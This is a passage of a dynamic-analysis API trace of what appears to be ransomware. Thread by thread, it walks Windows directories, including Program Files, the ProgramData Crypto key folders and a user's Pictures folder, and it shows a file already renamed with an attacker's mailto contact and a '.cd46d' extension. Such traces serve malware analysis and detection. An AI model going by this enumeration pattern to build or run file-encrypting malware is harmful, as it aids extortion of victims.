ftLastWriteTime.dwLowDateTime=0x5d04792d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClientsideProviders.dll", cAlternateFileName="")) returned 1 [0145.395] wcscmp (_String1="UIAutomationClientsideProviders.dll", _String2=".") returned 1 [0145.395] wcscmp (_String1="UIAutomationClientsideProviders.dll", _String2="..") returned 1 [0145.395] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a98c6a0, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a98c6a0, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d106003, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationProvider.dll", cAlternateFileName="")) returned 1 [0145.395] wcscmp (_String1="UIAutomationProvider.dll", _String2=".") returned 1 [0145.395] wcscmp (_String1="UIAutomationProvider.dll", _String2="..") returned 1 [0145.395] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aa4ad71, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9aa4ad71, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d17841d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationTypes.dll", cAlternateFileName="")) returned 1 [0145.395] wcscmp (_String1="UIAutomationTypes.dll", _String2=".") returned 1 [0145.395] wcscmp (_String1="UIAutomationTypes.dll", _String2="..") returned 1 [0145.395] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa97d2889, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa97d2889, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa97f89ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x110000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsBase.dll", cAlternateFileName="")) returned 1 [0145.395] wcscmp (_String1="WindowsBase.dll", _String2=".") returned 1 [0145.395] wcscmp (_String1="WindowsBase.dll", _String2="..") returned 1 [0145.395] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9acf85fb, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9acf85fb, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d2a8f0d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsFormsIntegration.dll", cAlternateFileName="")) returned 1 [0145.395] wcscmp (_String1="WindowsFormsIntegration.dll", _String2=".") returned 1 [0145.395] wcscmp (_String1="WindowsFormsIntegration.dll", _String2="..") returned 1 [0145.395] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803d8e97, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xb1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinFXList.xml.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="WINFXL~1.CD4")) returned 1 [0145.395] wcscmp (_String1="WinFXList.xml.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0145.395] wcscmp (_String1="WinFXList.xml.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0145.395] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803d8e97, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xb1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinFXList.xml.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="WINFXL~1.CD4")) returned 0 [0145.395] FindClose (in: hFindFile=0x8da050 | out: hFindFile=0x8da050) returned 1 [0145.396] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90f940) returned 1 [0145.396] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7ef8) returned 1 [0145.396] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f72c8) returned 1 Thread: id = 2197 os_tid = 0xedc [0143.252] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e8258 [0143.252] wcscpy (in: _Dest=0x8e8258, _Source="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0" [0143.252] wcscat (in: _Dest=0x8e8258, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\" [0143.252] wcscat (in: _Dest=0x8e8258, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\*") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\*" [0143.252] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9ba530 [0143.252] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\*", lpFindFileData=0x9ba530 | out: lpFindFileData=0x9ba530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942c30 [0143.970] wcscmp (_String1=".", _String2=".") returned 0 [0143.970] FindNextFileW (in: hFindFile=0x942c30, lpFindFileData=0x9ba530 | out: lpFindFileData=0x9ba530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.970] wcscmp (_String1="..", _String2=".") returned 1 [0143.970] wcscmp (_String1="..", _String2="..") returned 0 [0143.970] FindNextFileW (in: hFindFile=0x942c30, lpFindFileData=0x9ba530 | out: lpFindFileData=0x9ba530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b72c500, ftCreationTime.dwHighDateTime=0x1c8bd0c, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b72c500, ftLastWriteTime.dwHighDateTime=0x1c8bd0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c420, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0143.970] wcscmp (_String1="Microsoft.Synchronization.Data.dll", _String2=".") returned 1 [0143.970] wcscmp (_String1="Microsoft.Synchronization.Data.dll", _String2="..") returned 1 [0143.970] FindNextFileW (in: hFindFile=0x942c30, lpFindFileData=0x9ba530 | out: lpFindFileData=0x9ba530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b72c500, ftCreationTime.dwHighDateTime=0x1c8bd0c, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b72c500, ftLastWriteTime.dwHighDateTime=0x1c8bd0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c420, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.Server.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0143.970] wcscmp (_String1="Microsoft.Synchronization.Data.Server.dll", _String2=".") returned 1 [0143.970] wcscmp (_String1="Microsoft.Synchronization.Data.Server.dll", _String2="..") returned 1 [0143.970] FindNextFileW (in: hFindFile=0x942c30, lpFindFileData=0x9ba530 | out: lpFindFileData=0x9ba530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74481500, ftCreationTime.dwHighDateTime=0x1c8d683, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74481500, ftLastWriteTime.dwHighDateTime=0x1c8d683, nFileSizeHigh=0x0, nFileSizeLow=0x17450, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.SqlServerCe.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0143.970] wcscmp (_String1="Microsoft.Synchronization.Data.SqlServerCe.dll", _String2=".") returned 1 [0143.970] wcscmp (_String1="Microsoft.Synchronization.Data.SqlServerCe.dll", _String2="..") returned 1 [0143.971] FindNextFileW (in: hFindFile=0x942c30, lpFindFileData=0x9ba530 | out: lpFindFileData=0x9ba530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74481500, ftCreationTime.dwHighDateTime=0x1c8d683, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74481500, ftLastWriteTime.dwHighDateTime=0x1c8d683, nFileSizeHigh=0x0, nFileSizeLow=0x17450, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.SqlServerCe.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0143.971] FindClose (in: hFindFile=0x942c30 | out: hFindFile=0x942c30) returned 1 [0143.971] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ba530) returned 1 [0143.971] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8258) returned 1 [0143.971] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6758) returned 1 Thread: id = 2220 os_tid = 0xf38 [0143.573] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\active.grl")) returned 0x20 [0143.573] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL", dwFileAttributes=0x20) returned 1 [0143.583] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\active.grl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0143.583] GetLastError () returned 0x5 [0143.583] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL", dwFileAttributes=0x20) returned 1 [0143.583] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4688) returned 1 Thread: id = 2221 os_tid = 0xf3c [0143.586] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4c) returned 0x8e4688 [0143.586] wcscpy (in: _Dest=0x8e4688, _Source="C:\\ProgramData\\Microsoft\\Crypto\\DSS" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS" [0143.586] wcscat (in: _Dest=0x8e4688, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\" [0143.586] wcscat (in: _Dest=0x8e4688, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*" [0143.586] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9bd1f0 [0143.586] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x9bd1f0 | out: lpFindFileData=0x9bd1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9429f0 [0143.587] wcscmp (_String1=".", _String2=".") returned 0 [0143.587] FindNextFileW (in: hFindFile=0x9429f0, lpFindFileData=0x9bd1f0 | out: lpFindFileData=0x9bd1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.587] wcscmp (_String1="..", _String2=".") returned 1 [0143.587] wcscmp (_String1="..", _String2="..") returned 0 [0143.587] FindNextFileW (in: hFindFile=0x9429f0, lpFindFileData=0x9bd1f0 | out: lpFindFileData=0x9bd1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1 [0143.587] wcscmp (_String1="MachineKeys", _String2=".") returned 1 [0143.587] wcscmp (_String1="MachineKeys", _String2="..") returned 1 [0143.587] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x60) returned 0x90f438 [0143.587] wcscpy (in: _Dest=0x90f438, _Source="C:\\ProgramData\\Microsoft\\Crypto\\DSS" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS" [0143.587] wcscat (in: _Dest=0x90f438, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\" [0143.587] wcscat (in: _Dest=0x90f438, _Source="MachineKeys" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys" [0144.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x90f438, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb7c [0144.790] FindNextFileW (in: hFindFile=0x9429f0, lpFindFileData=0x9bd1f0 | out: lpFindFileData=0x9bd1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 0 [0144.790] FindClose (in: hFindFile=0x9429f0 | out: hFindFile=0x9429f0) returned 1 [0144.790] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bd1f0) returned 1 [0144.790] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4688) returned 1 [0144.790] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f95f8) returned 1 Thread: id = 2222 os_tid = 0xf40 [0143.587] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4e) returned 0x8e3d40 [0143.587] wcscpy (in: _Dest=0x8e3d40, _Source="C:\\ProgramData\\Microsoft\\Crypto\\Keys" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\Keys") returned="C:\\ProgramData\\Microsoft\\Crypto\\Keys" [0143.587] wcscat (in: _Dest=0x8e3d40, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\" [0143.587] wcscat (in: _Dest=0x8e3d40, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*" [0143.587] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9bd458 [0143.587] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x9bd458 | out: lpFindFileData=0x9bd458*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942a30 [0143.588] wcscmp (_String1=".", _String2=".") returned 0 [0143.588] FindNextFileW (in: hFindFile=0x942a30, lpFindFileData=0x9bd458 | out: lpFindFileData=0x9bd458*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.588] wcscmp (_String1="..", _String2=".") returned 1 [0143.588] wcscmp (_String1="..", _String2="..") returned 0 [0143.588] FindNextFileW (in: hFindFile=0x942a30, lpFindFileData=0x9bd458 | out: lpFindFileData=0x9bd458*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0143.588] FindClose (in: hFindFile=0x942a30 | out: hFindFile=0x942a30) returned 1 [0143.588] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bd458) returned 1 [0143.588] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e3d40) returned 1 [0143.588] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4058) returned 1 Thread: id = 2223 os_tid = 0xf44 [0143.589] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4c) returned 0x8e4058 [0143.589] wcscpy (in: _Dest=0x8e4058, _Source="C:\\ProgramData\\Microsoft\\Crypto\\RSA" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA" [0143.589] wcscat (in: _Dest=0x8e4058, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\" [0143.589] wcscat (in: _Dest=0x8e4058, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*" [0143.589] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9bd458 [0143.589] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x9bd458 | out: lpFindFileData=0x9bd458*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942a30 [0143.589] wcscmp (_String1=".", _String2=".") returned 0 [0143.589] FindNextFileW (in: hFindFile=0x942a30, lpFindFileData=0x9bd458 | out: lpFindFileData=0x9bd458*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.590] wcscmp (_String1="..", _String2=".") returned 1 [0143.590] wcscmp (_String1="..", _String2="..") returned 0 [0143.590] FindNextFileW (in: hFindFile=0x942a30, lpFindFileData=0x9bd458 | out: lpFindFileData=0x9bd458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1 [0143.590] wcscmp (_String1="MachineKeys", _String2=".") returned 1 [0143.590] wcscmp (_String1="MachineKeys", _String2="..") returned 1 [0143.590] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x60) returned 0x90f4a0 [0143.590] wcscpy (in: _Dest=0x90f4a0, _Source="C:\\ProgramData\\Microsoft\\Crypto\\RSA" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA" [0143.590] wcscat (in: _Dest=0x90f4a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\" [0143.590] wcscat (in: _Dest=0x90f4a0, _Source="MachineKeys" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys" [0144.791] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x90f4a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb80 [0144.791] FindNextFileW (in: hFindFile=0x942a30, lpFindFileData=0x9bd458 | out: lpFindFileData=0x9bd458*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0144.791] wcscmp (_String1="S-1-5-18", _String2=".") returned 1 [0144.791] wcscmp (_String1="S-1-5-18", _String2="..") returned 1 [0144.792] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5a) returned 0x90ea78 [0144.792] wcscpy (in: _Dest=0x90ea78, _Source="C:\\ProgramData\\Microsoft\\Crypto\\RSA" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA" [0144.792] wcscat (in: _Dest=0x90ea78, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\" [0144.792] wcscat (in: _Dest=0x90ea78, _Source="S-1-5-18" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18" [0144.792] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x90ea78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd40 [0144.793] FindNextFileW (in: hFindFile=0x942a30, lpFindFileData=0x9bd458 | out: lpFindFileData=0x9bd458*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 0 [0144.793] FindClose (in: hFindFile=0x942a30 | out: hFindFile=0x942a30) returned 1 [0144.793] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bd458) returned 1 [0144.793] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4058) returned 1 [0144.793] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f95a8) returned 1 Thread: id = 2224 os_tid = 0xf48 [0143.590] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x93d0b8 [0143.590] wcscpy (in: _Dest=0x93d0b8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo" [0143.590] wcscat (in: _Dest=0x93d0b8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo\\" [0143.590] wcscat (in: _Dest=0x93d0b8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo\\*" [0143.590] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9bd6c0 [0143.590] FindFirstFileW (in: 